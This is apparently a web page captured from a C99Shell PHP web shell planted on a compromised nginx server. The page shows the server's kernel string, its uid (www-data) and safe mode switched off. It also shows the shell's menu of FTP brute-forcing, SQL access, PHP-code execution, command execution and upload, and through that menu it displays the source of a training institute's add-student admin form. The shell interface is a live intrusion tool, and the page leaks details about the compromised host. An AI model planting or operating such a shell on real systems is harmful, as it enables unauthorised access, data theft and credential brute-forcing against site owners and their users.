!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.18.0. PHP/7.4.29 

uname -a: Linux ip-172-31-23-220 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/admin/   drwxrwxr-x
Free 39.75 GB of 48.28 GB (82.34%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     add_new_student.php (9.8 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php session_start();
include(
'includes/header.php');

 
?>
 <style type="text/css">
    .hierarchy-select.dropdown .hs-searchbox{padding:0 5px 4px}.hierarchy-select.dropdown .dropdown-menu a[data-level='2']{padding-left:40px}.hierarchy-select.dropdown .dropdown-menu a[data-level='3']{padding-left:60px}.hierarchy-select.dropdown .dropdown-menu a[data-level='4']{padding-left:80px}.hierarchy-select.dropdown .dropdown-menu a[data-level='5']{padding-left:100px}.hierarchy-select.dropdown .dropdown-menu a[data-level='6']{padding-left:120px}.hierarchy-select.dropdown .dropdown-menu a[data-level='7']{padding-left:140px}.hierarchy-select.dropdown .dropdown-menu a[data-level='8']{padding-left:160px}.hierarchy-select.dropdown .dropdown-menu a[data-level='9']{padding-left:180px}.hierarchy-select.dropdown .dropdown-menu a[data-level='10']{padding-left:200px}
 </style>
<?php 
  

// Storing session data
   
$_SESSION["role"];
   if(!isset(
$_SESSION["role"]))
   {

    
header("location:admin_login.php");
    
    
?>
    <script type="text/javascript">
        window.location.href = "admin_login.php";
    </script>
    <?php
   
}
   else
   {
    
?>
    <link rel="stylesheet" href="https://www.srishticampus.com/css/chosen.min.css">
<div class="page-container">    
    <div class="left-content">
        <div class="mother-grid-inner">
            <!--header start here-->
            <div class="header-main" style="min-height: 90px;">
                <div class="header-left">
                    <div class="logo-name">
                        <a href="admin_index.php"> <h3>SICS ADMIN</h3> 
                            </br>
  <h4>Add New Student</h4>
                          
                        </a>                              
                    </div>

                    <div class="clearfix"> </div>

                </div>

                <!--notification menu end -->
                <div class="profile_details">       
                    <ul>
                        <li class="dropdown profile_details_drop">
                            <a href="#" class="dropdown-toggle" data-toggle="dropdown" aria-expanded="false">
                                <div class="profile_img">   
                                    <span class="prfil-img"><!-- <img src="images/p1.png" alt=""> --> </span> 
                                    <div class="user-name">
                                        <p>Srishti Innovative</p>
                                        <span><?php echo $_SESSION["name"];?></span>
                                        
                                    </div>
                                    <i class="fa fa-angle-down lnr"></i>
                                    <i class="fa fa-angle-up lnr"></i>
                                    <div class="clearfix"></div>    
                                </div>  
                            </a>
                            <ul class="dropdown-menu drp-mnu">
                                    <!-- <li> <a href="#"><i class="fa fa-cog"></i> Settings</a> </li> 
                                    <li> <a href="#"><i class="fa fa-user"></i> Profile</a> </li>  -->
                                <li> <a href="logout.php"><i class="fa fa-sign-out"></i> Logout</a> </li>
                            </ul>
                        </li>
                    </ul>
                </div>
            </div>

                <div class="span5">
                   

                    <div class="row" style="margin-top:80px;margin-left:50px;">
                        <!-- <form class="forms-sample" id="add_assign"  method="post"> -->
                            <strong id="success"></strong>
                            <div class="txt-field">
                                <label>Name</label><br>
                                
                                <input type="text" name="student_name" id="student_name" required >
                            </div><br>
                            <div class="txt-field">
                                <label>Email</label><br>
                                <input type="email" name="student_email" id="student_email" required >
                            </div><br>
                            <div class="txt-field">
                                <label>Mobile Number</label><br>
                                <input type="text" name="mobile_num" id="mobile_num" required >
                            </div><br>

                             <div class="txt-field">
                                 <?php
                                    $query1 
"select * from course_details order by id desc";
                                    
$result1 $con->query($query1);
                                
?>
                                <label>Course</label><br>
                                <select id="course" name="course" id="course" required style="width:25%;" > 
                                    <option value="">------------Select------------</option>
                                    <?php
                                        
while ($row1 $result1->fetch_assoc()) {
                                    
?>
                                    <option value="<?php echo $row1["id"]; ?>"><?php echo $row1["name"]; ?></option>
                                    <?php
                                        
}
                                    
?>
                                </select>
                            </div> <br>

                            <div class="txt-field">
                                <label>DOB</label><br>
                                <input type="text" name="dob" id="dob" required >
                            </div><br>
                            

                            
                            
                            <div class="txt-field">
                                <label>Address</label><br>
                                <input type="text" name="address" id="address" required >
                            </div><br>
                             <br>
                          
                            
                            

                            

                            <input type="submit" class="logins" value="Add Student" id="btnSubmit">
                             <br><br><br><br><br><br>
                              <br><br><br><br><br><br>
                               <br><br><br><br><br><br>
                                <br><br><br><br><br><br>
                                <br><br><br><br><br><br>

                       <!--  </form> -->

                    </div>

                </div>
                <div class="clearfix"> </div>                
            </div>
            <div class="clearfix"> </div>    
        </div>

        <!--heder end here-->
        <!-- script-for sticky-nav -->

        <!-- /script-for sticky-nav -->
        <!--inner block start here-->

    </div> 
    <div class="clearfix"> </div>

    <!--slider menu-->
    <?php include('includes/sidebar.php'); ?>

    <div class="clearfix"> </div>
</div>
<!--slide bar menu end here-->

<?php include('includes/footer.php'); ?>
<script type="text/javascript">
         
         
     </script>
     <script src="https://www.srishticampus.com/js/hierarchy-select.js"></script>
     <script src="https://www.srishticampus.com/js/chosen.jquery.min.js"></script>
<script type="text/javascript">

    $('#example-one').hierarchySelect({
    width: 'auto'
})

      $(document).ready(function(){

        

  
$('#btnSubmit').click(function(){
    //alert();
   // return false;
    var student_name = $('#student_name').val();
        var student_email = $('#student_email').val();
        var mobile_num = $('#mobile_num').val();
        var course = $('#course').val();
       var dob = $('#dob').val();
       var address = $('#address').val();
       if(student_name=='')
       {
        swal('Please Enter Student Name');
        return false;
       }
       if(student_email=='')
       {
        swal('Please Enter Student Email');
        return false;
       }
       if(mobile_num=='')
       {
        swal('Please Enter Student Mobile Number');
        return false;
       }
       if(course=='')
       {
        swal('Please Enter Course Name');
        return false;
       }
       // if(address=='')
       // {
       //  swal('Please Enter Student Address');
       //  return false;
       // }
        else
       {
            $.ajax({
                url: "add_new_student_action.php",
                type: "POST",
                data: {
                    student_name: student_name,
                    student_email: student_email,
                    mobile_num: mobile_num,
                    dob: dob,
                    course: course,
                    address:address             
                },
                cache: false,
                success: function(dataResult){
                    var dataResult = JSON.parse(dataResult);
                    console.log(dataResult);
                    console.log(dataResult.statusCode);
                    var code=dataResult.statusCode;
                   // alert(dataResult.statusCode);
                    if(dataResult.statusCode!=0){
                        
                        $('#success').html('Student added successfully !');  

                           
                                            
                    }
                    else if(dataResult.statusCode==0){
                       alert("Error occured !");
                    }
                    
                }
            });
       }
       
            

});



    

     });
    </script>
    <?php
   
}
?>  

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0061 ]--